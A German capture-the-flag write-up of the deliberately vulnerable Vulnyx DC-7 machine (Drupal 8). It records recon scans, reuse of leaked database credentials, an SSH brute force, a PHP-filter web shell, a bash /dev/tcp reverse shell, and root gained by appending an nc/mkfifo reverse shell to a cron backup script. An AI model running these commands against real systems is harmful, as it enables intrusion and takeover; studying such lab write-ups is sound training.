DC-7 - Vulnyx - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
feroxbuster
drupal8exploit.py
hydra

Inhaltsverzeichnis

Reconnaissance

ARP-Scan

192.168.2.162 08:00:27:be:c6:e7 PCS Systemtechnik GmbH

/etc/hosts

192.168.2.162 dc7.vln

Der ARP-Scan zeigt die IP-Adresse und die MAC-Adresse des Zielsystems sowie den Hersteller der Netzwerkkarte. Der Eintrag in der /etc/hosts-Datei ermöglicht die Verwendung des Hostnamens `dc7.vln` anstelle der IP-Adresse. Dies erleichtert die weitere Bearbeitung.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-18 23:17 CEST
Nmap scan report for dc7.vln (192.168.2.162)
Host is up (0.00025s latency).
Not shown: 65533 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 d0:02:e9:c7:5d:95:32:ab:10:99:89:84:34:3d:1e:f9 (RSA)
| 256 d0:d6:40:35:a7:34:a9:0a:79:34:ee:a9:6a:dd:f4:8f (ECDSA)
|_ 256 a8:55:d5:76:93:ed:4f:6f:f1:f7:a1:84:2f:af:bb:e1 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.txt /web.config /admin/
| /comment/reply/ /filter/tips /node/add/ /search/ /user/register/
| /user/password/ /user/login/ /user/logout/ /index.php/admin/
|_/index.php/comment/reply/
|_http-server-header: Apache/2.4.25 (Debian)
|_http-generator: Drupal 8 (https://www.drupal.org)
|_http-title: Welcome to DC-7 | D7
MAC Address: 08:00:27:BE:C6:E7 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.25 ms dc7.vln (192.168.2.162)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.85 seconds

Nmap wurde verwendet, um offene Ports und laufende Dienste auf dem Zielsystem zu identifizieren. Port 22 (SSH) und Port 80 (HTTP) sind offen. Apache httpd 2.4.25 läuft auf Port 80. Der Header `http-generator: Drupal 8` deutet auf eine Drupal 8-Installation hin.

Empfehlung:

Die Apache-Version 2.4.25 ist veraltet und anfällig für verschiedene Sicherheitslücken. Ein Update auf eine aktuelle Version wird dringend empfohlen. Die Drupal-Installation sollte ebenfalls auf dem neuesten Stand gehalten werden.

Web Enumeration

- Nikto v2.5.0

+ Target IP: 192.168.2.162
+ Target Hostname: 192.168.2.162
+ Target Port: 80
+ Start Time: 2024-10-18 23:18:22 (GMT+0200)

+ Server: Apache/2.4.25 (Debian)
+ /: Drupal 8 was identified via the x-generator header. See: https://www.drupal.org/project/remove_http_headers
+ /: Drupal Link header found with value: ARRAY(0x5588fcb62910). See: https://www.drupal.org/
+ /: Uncommon header 'x-drupal-dynamic-cache' found, with contents: MISS.
+ /uaEV1pk2.php#: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /robots.txt: Entry '/filter/tips/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/README.txt' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/user/login/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/index.php/user/password/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/user/password/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/index.php/filter/tips' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/index.php/user/login/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: contains 40 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ Apache/2.4.25 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: GET, PST .
+ /web.config: ASP config file is accessible.
+ /INSTALL.txt: Default file found.
+ /LICENSE.txt: License file found may identify site software.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /core/CHANGELG.txt: Drupal version number revealed in CHANGELG.txt.
+ 8145 requests: 0 error(s) and 19 item(s) reported on remote host
+ End Time: 2024-10-18 23:22:38 (GMT+0200) (256 seconds)

+ 1 host(s) tested

Nikto hat das Ziel auf bekannte Schwachstellen untersucht. Es wurde bestätigt, dass es sich um eine Drupal 8-Installation handelt. Es wurden verschiedene Dateien gefunden, die Informationen über das System liefern könnten, darunter `robots.txt`, `web.config`, `INSTALL.txt`, `LICENSE.txt` und `core/CHANGELOG.txt`.

Empfehlung:

Die gefundenen Dateien sollten manuell überprüft werden, um weitere Informationen über das System zu erhalten. Die Drupal-Installation sollte auf dem neuesten Stand gehalten werden.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.162/index.php (Status: 200) [Size: 8746]
http://192.168.2.162/search (Status: 302) [Size: 372] [--> http://192.168.2.162/search/node]
http://192.168.2.162/rss.xml (Status: 200) [Size: 300]
http://192.168.2.162/user (Status: 302) [Size: 368] [--> http://192.168.2.162/user/login]
http://192.168.2.162/themes (Status: 301) [Size: 315] [--> http://192.168.2.162/themes/]
http://192.168.2.162/modules (Status: 301) [Size: 316] [--> http://192.168.2.162/modules/]
http://192.168.2.162/web.config (Status: 200) [Size: 4555]
http://192.168.2.162/node (Status: 200) [Size: 8699]
http://192.168.2.162/Search (Status: 302) [Size: 372] [--> http://192.168.2.162/search/node]
http://192.168.2.162/sites (Status: 301) [Size: 314] [--> http://192.168.2.162/sites/]
http://192.168.2.162/core (Status: 301) [Size: 313] [--> http://192.168.2.162/core/]
http://192.168.2.162/install.php (Status: 301) [Size: 324] [--> http://192.168.2.162/core/install.php]
http://192.168.2.162/profiles (Status: 301) [Size: 317] [--> http://192.168.2.162/profiles/]
http://192.168.2.162/README.txt (Status: 200) [Size: 5889]
http://192.168.2.162/RSS.xml (Status: 200) [Size: 300]

Gobuster wurde verwendet, um versteckte Dateien und Verzeichnisse auf dem Webserver zu finden. Die Ergebnisse bestätigen die Drupal-Installation und liefern weitere Informationen über die Struktur der Website.

https://www.exploit-db.com/exploits/46459

Ein Exploit für Drupal wurde gefunden (https://www.exploit-db.com/exploits/46459).

┌──(root㉿CCat)-[~]
└─# ./drupal8exploit.py http://192.168.2.162 id
CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC
by @leonjza

References:
https://www.drupal.org/sa-core-2019-003
https://www.ambionics.io/blog/drupal8-rce

[warning] Caching heavily affects reliability of this exploit.
Nodes are used as they are discovered, but once they are done,
you will have to wait for cache expiry.

Target http://192.168.2.162 is not a valid URL
┌──(root㉿CCat)-[~]
└─# ./drupal8exploit.py http://192.168.2.162/index.php id
CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC
by @leonjza

References:
https://www.drupal.org/sa-core-2019-003
https://www.ambionics.io/blog/drupal8-rce

[warning] Caching heavily affects reliability of this exploit.
Nodes are used as they are discovered, but once they are done,
you will have to wait for cache expiry.

Targeting http://192.168.2.162/index.php...
[+] Finding a usable node id...
[+] Using node_id 1
[!] Target does not appear to be vulnerable.
[!] It may also simply be a caching issue, so maybe just try again later.

Das Exploit-Skript `drupal8exploit.py` wurde verwendet, um die Drupal 8-Installation auf eine Remote Code Execution (RCE)-Schwachstelle (CVE-2019-6340) zu überprüfen. Die Ergebnisse deuten darauf hin, dass das Zielsystem möglicherweise nicht anfällig für diesen Exploit ist oder dass ein Caching-Problem vorliegt.

┌──(root㉿CCat)-[~]
└─# feroxbuster --url "http://192.168.2.162" --wordlist /usr/share/seclists/Discovery/Web-Content/big.txt -x .git,.php,.html,.xml,.zip,.7z,.tar,.bak,.sql,.py,.pl,.txt,.jpg,.jpeg,.png,.js,.aac,.ogg,.flac,.alac,.wav,.aiff,.dsd,.mp3,.mp4,.mkv,.phtml -s 200 301 302
───────────────────────────┴──────────────────────
⚡ Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
302 GET 12l 22w 368c http://192.168.2.162/user/ => http://192.168.2.162/user/login
200 GET 253l 617w 10472c http://192.168.2.162/index.php/user/login
200 GET 242l 585w 9847c http://192.168.2.162/user/password
200 GET 242l 585w 9857c http://192.168.2.162/index.php/user/password
200 GET 139l 760w 5889c http://192.168.2.162/README.txt
200 GET 103l 392w 4555c http://192.168.2.162/web.config
200 GET 374l 1079w 17836c http://192.168.2.162/index.php/filter/tips
302 GET 12l 22w 412c http://192.168.2.162/index.php/search => http://192.168.2.162/index.php/search/node
200 GET 253l 617w 10462c http://192.168.2.162/user/login
200 GET 374l 1079w 17825c http://192.168.2.162/filter/tips
302 GET 12l 22w 372c http://192.168.2.162/search => http://192.168.2.162/search/node
302 GET 12l 22w 408c http://192.168.2.162/index.php/user/ => http://192.168.2.162/index.php/user/login
301 GET 9l 28w 317c http://192.168.2.162/profiles => http://192.168.2.162/profiles/
200 GET 4l 85w 2732c http://192.168.2.162/sites/default/files/js/js_VtafjXmRvoUgAzqzYTA3Wrjkx9wcWhjP0G4ZnnqRamA.js
200 GET 239l 532w 8894c http://192.168.2.162/node/3
200 GET 24l 152w 8884c http://192.168.2.162/sites/default/files/css/css_c8uKrkdw3uTl-xXgGz0TtfMpZq9ps2b3GoXRcXqFfo.css
200 GET 7l 35w 11296c http://192.168.2.162/core/misc/favicon.ico
200 GET 1l 278w 3810c http://192.168.2.162/core/themes/bartik/logo.svg
200 GET 77l 1724w 53706c http://192.168.2.162/sites/default/files/css/css_QEDewwGV2l4fGHpAWXnBa_GN69KJCLDv5-kxBDSxA.css
200 GET 1l 5w 509c http://192.168.2.162/sites/default/files/css/css_Z5jMg7P_bjcW9iUzujI7oaechMyxQTUqZhHJ_aYSq04.css
200 GET 234l 547w 9314c http://192.168.2.162/search/node
200 GET 224l 555w 8706c http://192.168.2.162/node/1
200 GET 224l 555w 8706c http://192.168.2.162/
200 GET 224l 555w 8746c http://192.168.2.162/index.php/
[>-] - 8m 22498/3443496 22h found:24 errors:19969
⚠ Caught ctrl+c ⚠ saving scan state to ferox-http_192_168_2_162-1729289125.state ...
[>-] - 8m 22501/3443496 22h found:24 errors:19972
[#>-] - 8m 93548/573356 189/s http://192.168.2.162/
[#>-] - 8m 93604/573356 190/s http://192.168.2.162/profiles/
[#>-] - 8m 89936/573356 182/s http://192.168.2.162/node/
[#>-] - 8m 93716/573356 190/s http://192.168.2.162/index.php/node/
[#>-] - 8m 92176/573356 188/s http://192.168.2.162/core/
[#>-] - 8m 93688/573356 191/s http://192.168.2.162/index.php/
[--] - 0s 0/573356 - http://192.168.2.162/user/
[--] - 0s 0/573356 - http://192.168.2.162/index.php/user/login
[--] - 0s 0/573356 - http://192.168.2.162/user/password
[--] - 0s 0/573356 - http://192.168.2.162/index.php/user/password

Feroxbuster wurde verwendet, um weitere Dateien und Verzeichnisse auf dem Webserver zu finden. Die Ergebnisse liefern weitere Informationen über die Struktur der Website.

http://192.168.2.162/core/install.php
Drupal 8.7.6
Drupal already installed

To start over, you must empty your existing database and copy default.settings.php over settings.php.
To upgrade an existing installation, proceed to the update script.
View your existing site.

In order to run update.php you need to either have "Administer software updates" permission or have set $settings['update_free_access'] in your settings. http://192.168.2.162/update.php

Die Datei `core/install.php` zeigt, dass Drupal bereits installiert ist und die Version 8.7.6 verwendet wird.

Initial Access

https://github.com/Dc7User
staff / db

/config.php
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);

Auf GitHub wurde ein Benutzer (`Dc7User`) gefunden, der möglicherweise mit dem Zielsystem in Verbindung steht. In der Datei `/config.php` wurden die Anmeldeinformationen für die MySQL-Datenbank gefunden. Der Benutzername ist `dc7user` und das Passwort ist `MdR3xgB7#dW`.

┌──(pwn)─(root㉿CCat)-[~/Hackingtools/droopescan]
└─# ssh dc7user@192.168.2.162
The authenticity of host '192.168.2.162 (192.168.2.162)' can't be established.
ED25519 key fingerprint is SHA256:BDWqBUcitB8KKGYDyoeZkt2C/aXhZ7gi5xSEtSB+Rk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.162' (ED25519) to the list of known hosts.
dc7user@192.168.2.162's password:
Linux dc-7 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u5 (2019-08-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY N WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Fri Aug 30 03:10:09 2019 from 192.168.0.100
dc7user@dc-7$ id
uid=1000(dc7user) gid=1000(dc7user) groups=1000(dc7user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)

Mit den gefundenen Anmeldeinformationen wurde erfolgreich eine SSH-Verbindung zum Benutzer `dc7user` hergestellt.

┌──(root㉿CCat)-[~]
└─# hydra -l dc7user -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.162 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-19 00:39:47
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344492 login tries (l:1/p:14344492), ~224133 tries per task
[DATA] attacking ssh://192.168.2.162:22/

[22][ssh] host: 192.168.2.162 login: dc7user password: MdR3xgB7#dW

Hydra wurde verwendet, um die SSH-Verbindung zu knacken. Das Passwort `MdR3xgB7#dW` wurde gefunden.

Privilege Escalation

dc7user@dc-7$ find / -type f -perm -4000 -ls 2>/dev/null
131388 40 -rwsr-xr-x 1 root root 40536 May 17 2017 /bin/su
132067 60 -rwsr-xr-x 1 root root 61240 Nov 10 2016 /bin/ping
131404 32 -rwsr-xr-x 1 root root 31720 Mar 8 2018 /bin/umount
131403 44 -rwsr-xr-x 1 root root 44304 Mar 8 2018 /bin/mount
12512 996 -rwsr-xr-x 1 root root 1019656 Jul 20 2019 /usr/sbin/exim4
15843 432 -rwsr-xr-x 1 root root 440728 Mar 2 2019 /usr/lib/openssh/ssh-keysign
137128 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
12297 44 -rwsr-xr-- 1 root messagebus 42992 Jun 10 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
92 60 -rwsr-xr-x 1 root root 59680 May 17 2017 /usr/bin/passwd
89 40 -rwsr-xr-x 1 root root 40504 May 17 2017 /usr/bin/chsh
91 76 -rwsr-xr-x 1 root root 75792 May 17 2017 /usr/bin/gpasswd
88 52 -rwsr-xr-x 1 root root 50040 May 17 2017 /usr/bin/chfn
2954 40 -rwsr-xr-x 1 root root 40312 May 17 2017 /usr/bin/newgrp

Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht nach Dateien mit dem gesetzten SUID-Bit.

dc7user@dc-7$ ls -la
total 40
drwxr-xr-x 5 dc7user dc7user 4096 Aug 30 2019 .
drwxr-xr-x 3 root root 4096 Aug 29 2019 ..
drwxr-xr-x 2 dc7user dc7user 4096 Oct 19 08:30 backups
lrwxrwxrwx 1 dc7user dc7user 9 Aug 29 2019 .bash_history -> /dev/null
-rw-r--r-- 1 dc7user dc7user 220 Aug 29 2019 .bash_logout
-rw-r--r-- 1 dc7user dc7user 3953 Aug 29 2019 .bashrc
drwxr-xr-x 3 dc7user dc7user 4096 Aug 29 2019 .drush
drwx 3 dc7user dc7user 4096 Aug 29 2019 .gnupg
-rw- 1 dc7user dc7user 7938 Aug 30 2019 mbox
-rw-r--r-- 1 dc7user dc7user 675 Aug 29 2019 .profile
dc7user@dc-7$ cd backups/
dc7user@dc-7/backups$ ls -la
total 359188
drwxr-xr-x 2 dc7user dc7user 4096 Oct 19 08:30 .
drwxr-xr-x 5 dc7user dc7user 4096 Aug 30 2019 ..
-rw-r--r-- 1 dc7user dc7user 337742112 Oct 19 08:30 website.sql.gpg
-rw-r--r-- 1 dc7user dc7user 30051389 Oct 19 08:30 website.tar.gz.gpg
dc7user@dc-7/backups$ ss -altpn
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 80 127.0.0.1:3306 *:
LISTEN 0 128 *:22 *:
LISTEN 0 20 127.0.0.1:25 *:
LISTEN 0 128 *:80 *:
LISTEN 0 128 *:22 *:
LISTEN 0 20 1:25 *:
dc7user@dc-7$ ls -la
total 40
drwxr-xr-x 5 dc7user dc7user 4096 Aug 30 2019 .
drwxr-xr-x 3 root root 4096 Aug 29 2019 ..
drwxr-xr-x 2 dc7user dc7user 4096 Oct 19 08:30 backups
lrwxrwxrwx 1 dc7user dc7user 9 Aug 29 2019 .bash_history -> /dev/null
-rw-r--r-- 1 dc7user dc7user 220 Aug 29 2019 .bash_logout
-rw-r--r-- 1 dc7user dc7user 3953 Aug 29 2019 .bashrc
drwxr-xr-x 3 dc7user dc7user 4096 Aug 29 2019 .drush
drwx 3 dc7user dc7user 4096 Aug 29 2019 .gnupg
-rw- 1 dc7user dc7user 7938 Aug 30 2019 mbox
-rw-r--r-- 1 dc7user dc7user 675 Aug 29 2019 .profile
dc7user@dc-7$ ls -la .drush/
total 44
drwxr-xr-x 3 dc7user dc7user 4096 Aug 29 2019 .
drwxr-xr-x 5 dc7user dc7user 4096 Aug 30 2019 ..
drwxr-xr-x 4 dc7user dc7user 4096 Aug 29 2019 cache
-rw-r--r-- 1 dc7user dc7user 7741 Aug 29 2019 drush.bashrc
-rw-r--r-- 1 dc7user dc7user 1937 Aug 29 2019 drush.complete.sh
-rw-r--r-- 1 dc7user dc7user 2811 Aug 29 2019 drush.prompt.sh
-rw-r--r-- 1 dc7user dc7user 13649 Aug 29 2019 drushrc.php
dc7user@dc-7$ cd ..
dc7user@dc-7:/home$ ls
dc7user
dc7user@dc-7:/home$ cd /var/backups/
dc7user@dc-7:/var/backups$ ls -a
. .. apt.extended_states.0
dc7user@dc-7:/var/backups$ ls -la /var/mail/
total 12
drwxrwsr-x 2 root mail 4096 Oct 19 08:30 .
drwxr-xr-x 12 root root 4096 Aug 29 2019 ..
-rw-rw- 1 dc7user mail 3255 Oct 19 08:30 dc7user
dc7user@dc-7:/var/backups$ cat /var/mail/dc7user
From root@dc-7 Sat Oct 19 07:33:47 2024
Return-path:
Envelope-to: root@dc-7
Delivery-date: Sat, 19 Oct 2024 07:33:47 +1000
Received: from root by dc-7.speedport.ip with local (Exim 4.89)
(envelope-from )
id 1t1ubT-0000GB-00
for root@dc-7; Sat, 19 Oct 2024 07:33:47 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env:
X-Cron-Env:
X-Cron-Env:
X-Cron-Env:
Message-Id:
Date: Sat, 19 Oct 2024 07:33:46 +1000

rm: cannot remove '/home/dc7user/backups/*': No such file or directory
Database dump saved to /home/dc7user/backups/website.sql [success]

From root@dc-7 Sat Oct 19 07:45:43 2024
Return-path:
Envelope-to: root@dc-7
Delivery-date: Sat, 19 Oct 2024 07:45:43 +1000
Received: from root by dc-7.speedport.ip with local (Exim 4.89)
(envelope-from )
id 1t1un1-0000I4-By
for root@dc-7; Sat, 19 Oct 2024 07:45:43 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env:
X-Cron-Env:
X-Cron-Env:
X-Cron-Env:
Message-Id:
Date: Sat, 19 Oct 2024 07:45:43 +1000

Database dump saved to /home/dc7user/backups/website.sql [success]

From root@dc-7 Sat Oct 19 08:15:54 2024
Return-path:
Envelope-to: root@dc-7
Delivery-date: Sat, 19 Oct 2024 08:15:54 +1000
Received: from root by dc-7.speedport.ip with local (Exim 4.89)
(envelope-from )
id 1t1vGE-0000QS-Ub
for root@dc-7; Sat, 19 Oct 2024 08:15:54 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env:
X-Cron-Env:
X-Cron-Env:
X-Cron-Env:
Message-Id:
Date: Sat, 19 Oct 2024 08:15:54 +1000

Database dump saved to /home/dc7user/backups/website.sql [success]

From root@dc-7 Sat Oct 19 08:30:52 2024
Return-path:
Envelope-to: root@dc-7
Delivery-date: Sat, 19 Oct 2024 08:30:52 +1000
Received: from root by dc-7.speedport.ip with local (Exim 4.89)
(envelope-from )
id 1t1vUi-0000R6-U
for root@dc-7; Sat, 19 Oct 2024 08:30:52 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env:
X-Cron-Env:
X-Cron-Env:
X-Cron-Env:
Message-Id:
Date: Sat, 19 Oct 2024 08:30:52 +1000

Database dump saved to /home/dc7user/backups/website.sql [success]

In der Datei `/var/mail/dc7user` wurden Informationen über Cron-Jobs gefunden, die das Skript `/opt/scripts/backups.sh` ausführen.

dc7user@dc-7:/var/www/html$ cd /opt/
dc7user@dc-7:/opt$ ls -la
total 12
drwxr-xr-x 3 root root 4096 Aug 29 2019 .
drwxr-xr-x 22 root root 4096 Aug 29 2019 ..
drwxr-xr-x 2 root www-data 4096 Aug 29 2019 scripts
dc7user@dc-7:/opt$ cd scripts/
dc7user@dc-7:/opt/scripts$ ls -la
total 12
drwxr-xr-x 2 root www-data 4096 Aug 29 2019 .
drwxr-xr-x 3 root root 4096 Aug 29 2019 ..
-rwxrwxr-x 1 root www-data 520 Aug 29 2019 backups.sh
dc7user@dc-7:/opt/scripts$ rm backups.sh
rm: remove write-protected regular file 'backups.sh'? y

rm: cannot remove 'backups.sh': Permission denied
dc7user@dc-7:/opt/scripts$ echo "" > backups.sh
-bash: backups.sh: Permission denied

Der Benutzer `dc77user` hat keine Berechtigungen, um die Datei `/opt/scripts/backups.sh` zu ändern.

https://drupal.stackexchange.com/questions/2/how-can-i-change-a-users-password-from-the-command-line-using-drush

In Drush 9, the command is

drush user:password USERNAME "SMEPASSWRD";
dc7user@dc-7:/opt/scripts$ drush dc7user:MdR3xgB7#dW dc7user "benni"
The drush command 'dc7user:MdR3xgB7#dW dc7user benni' could not be found. Run `drush cache-clear drush` to clear the commandfile cache if you have installed new extensions. [error]

The drush command 'dc7user:MdR3xgB7#dW dc7user benni' could not be found. Run `drush cache-clear drush` to clear the commandfile cache if you have installed new extensions. [error]
dc7user@dc-7:/opt/scripts$ drush user-password admin --password="benni"
Command user-password needs a higher bootstrap level to run - you will need to invoke drush from a more functional Drupal environment to run this command. [error]
The drush command 'user-password admin' could not be executed. [error]
Command user-password needs a higher bootstrap level to run - you will need to invoke drush from a more functional Drupal environment to run this command. [error]
The drush command 'user-password root' could not be executed.
dc7user@dc-7:/opt/scripts$ cd /var/www/html/
dc7user@dc-7:/var/www/html$ drush user-password admin --password="bennihacker"
Changed password for admin

Das Passwort für den Drupal-Benutzer `admin` wurde erfolgreich auf `bennihacker` geändert.

Privilege Escalation

http://192.168.2.162/admin/modules
Filters
Installed
Name
Description

[!] PHP Filter Allows embedded PHP code/snippets to be evaluated. Enabling this can cause security and performance issues as it allows users to execute PHP code on your site.
[install] << klicken ganz unten nach dem häckchen setzen
http://192.168.2.162/admin/modules
Extend Add to Default shortcuts
Primary tabs

List(active tab)
Update
Uninstall

Breadcrumb

Home Administration
Status message
Module PHP Filter has been enabled.
Error message
Your version of Drupal is no longer supported. Upgrading is strongly recommended! See the available updates page for more information and to install your missing updates.
Warning message
There was a problem checking available updates for your modules or themes.

Download additional contributed modules to extend your site's functionality.

Regularly review and install available updates to maintain a secure and current site. Always run the update script each time a module is updated.

Install new module
Filter modules
Enter a part of the module name or description
Core
in der Leiste ganz Links auf Content klicken
http://192.168.2.162/admin/content
Updated Sort ascending
Operations
Update this item
Welcome to DC-7 Basic page admin Published 08/30/2019 - 03:16

Edit

Update this item
404 Page Basic page admin Published 08/29/2019 - 15:15

Edit

Update this item
403 Page Basic page admin Published 08/29/2019 - 15:14

Edit

Tray "Administration menu" opened


Add content
http://192.168.2.162/node/add/page
Skip to main content
Toolbar items
Manage
Administration menu
Home Node Add content
Tray "Administration menu" opened
http://192.168.2.162/node/add/page
system($ GET['cmd']);
Text format

You may post PHP code. You should include tags.
http://192.168.2.162/node/4?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Search
revshell : http://192.168.2.162/node/4?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F5555%200%3E%261%27
┌──(root㉿CCat)-[/home/ccat/Downloads]
└─# nc -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.162] 42994
bash: cannot set terminal process group (450): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dc-7:/var/www/html$

Durch Aktivierung des PHP-Filters und Ausnutzung der RCE-Schwachstelle konnte eine Reverse Shell als Benutzer `www-data` gestartet werden.

#
www-data@dc-7:/var/www/html$ stty rows 47 columns 94
www-data@dc-7:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@dc-7:/var/www/html$ cd /opt/scripts/

Es wurde versucht, die Terminaleinstellungen anzupassen und das Verzeichnis `/opt/scripts/` zu wechseln.

Privilege Escalation
www-data@dc-7:/opt/scripts$ echo benntestet >> backups.sh
www-data@dc-7:/opt/scripts$ cat backups.sh
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz

benntestet

Dem Skript `/opt/scripts/backups.sh` wurde die Zeile `benntestet` hinzugefügt.

www-data@dc-7:/opt/scripts$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4444 >/tmp/f' >> backups.sh
Das Skript /opt/scripts/backups.sh wurde mit einem Befehl versehen, um eine Reverse-Shell zu starten.
┌──(root㉿CCat)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
┌──(root㉿CCat)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.162] 37736
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
#

Proof of Concept: Root-Zugriff über Cronjob und Reverse Shell

Dieser Proof of Concept demonstriert, wie die vorhandenen Cronjobs und die Möglichkeit, Dateien zu bearbeiten, genutzt werden können, um eine Reverse Shell als Root zu erhalten.

Voraussetzungen

  • Zugriff auf das System als Benutzer mit Schreibrechten für eine Datei, die von einem Cronjob ausgeführt wird.
  • Kenntnisse über die Funktionsweise von Cronjobs und Reverse Shells.

Schritt-für-Schritt-Anleitung

  1. Bearbeiten Sie das Skript `/opt/scripts/backups.sh`, um einen Befehl zum Starten einer Reverse Shell hinzuzufügen:
    www-data@dc-7:/opt/scripts$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4444 >/tmp/f' >> backups.sh
    Mit diesem Befehl wird eine Reverse Shell zum Angreifer-System auf Port 4444 gestartet.
